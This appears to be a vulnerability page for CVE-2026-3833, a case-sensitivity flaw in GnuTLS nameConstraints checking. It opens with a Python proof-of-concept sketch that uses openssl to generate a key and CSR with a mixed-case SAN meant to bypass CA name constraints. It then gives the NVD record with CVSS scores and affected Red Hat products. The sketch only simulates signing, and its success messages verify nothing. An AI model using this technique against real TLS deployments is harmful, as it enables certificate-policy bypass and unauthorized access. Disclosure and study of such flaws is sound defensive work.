CVE-2026-3833

# PoC Concept: Generating a certificate with case-varied SAN to bypass nameConstraints # This requires a CA that has a nameConstraints extension configured. import subprocess import json # Configuration for the malicious certificate config = { "domain": "Example.COM", # Upper/Mixed case to potentially bypass lower-case policy "policy_domain": "example.com" # The domain defined in the CA's nameConstraints (permitted/excluded) } # Step 1: Generate a private key for the leaf certificate subprocess.run(["openssl", "genrsa", "-out", "malicious.key", "2048"]) # Step 2: Create a config file for the certificate signing request openssl_cnf = f""" [req] distinguished_name = req_distinguished_name req_extensions = v3_req prompt = no [req_distinguished_name] CN = {config['domain']} [v3_req] subjectAltName = @alt_names [alt_names] DNS.1 = {config['domain']} """ with open("malicious.cnf", "w") as f: f.write(openssl_cnf) # Step 3: Generate the CSR subprocess.run(["openssl", "req", "-new", "-key", "malicious.key", "-out", "malicious.csr", "-config", "malicious.cnf"]) # Step 4: Sign the CSR with a CA that has nameConstraints (Simulated) # In a real scenario, this would be signed by a vulnerable CA. # The resulting certificate 'malicious.crt' would then be presented to a service using GnuTLS. print(f"[+] Generated certificate for: {config['domain']}") print(f"[*] Attempting to validate against policy for: {config['policy_domain']}") print("[*] If GnuLS version is vulnerable, validation succeeds despite policy mismatch.")

{"cve": {"id": "CVE-2026-3833", "sourceIdentifier": "[email protected]", "published": "2026-04-30T18:16:30.577", "lastModified": "2026-05-07T02:09:04.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in gnutls. This vulnerability occurs because gnutls performs case-sensitive comparisons of `nameConstraints` labels, specifically for `dNSName` (DNS) or `rfc822Name` (email) constraints within `excludedSubtrees` or `permittedSubtrees`. A remote attacker can exploit this by crafting a leaf certificate with casing differences in the Subject Alternative Name (SAN), leading to a policy bypass where a certificate that should be rejected is instead accepted. This could result in unauthorized access or information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-178"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:gnutls:-:*:*:*:*:*:*:*", "matchCriteriaId": "33A22858-21E1-479F-A9C4-AD2EFD059B93"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:*", "matchCriteriaId": "87DEB507-5B64-47D7-9A50-3B87FD1E571F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "932D137F-528B-4526-9A89-CD59FA1AB0FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:13274", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://access.redhat.com/security/cve/CVE-2026-3833", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445763", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.com/gnutls/gnutls/-/issues/1803", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://gitlab.com/gnutls/gnutls/-/issues/1803", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}